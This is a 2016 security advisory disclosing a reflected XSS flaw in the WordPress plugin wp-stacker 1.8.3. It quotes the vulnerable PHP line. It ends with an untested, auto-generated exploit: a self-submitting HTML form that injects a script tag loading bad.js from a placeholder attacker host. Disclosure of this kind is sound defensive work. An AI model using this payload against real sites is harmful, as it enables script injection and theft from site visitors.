Advisory #: 1005
Title: Reflected XSS in wordpress plugin wp-stacker v1.8.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-stacker
Downloads: 2542
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-stacker
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-stacker/wp-stacker.php: 1511: <p class="short"><strong>Great! You posted <?php echo $_POST['count_elements']; ?> links from your Pocket account into your blog. <?php if (isset($_POST['wpstacker_mark_as_readed']) && $_POST['wpstacker_mark_as_readed']) { ?>They are now marked as read in your pocket account!<?php } ?></strong></p> The variable count_elements appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-stacker/wp-stacker.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/wp-stacker/wp-stacker.php method=post> <input type=hidden name=count_elements value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>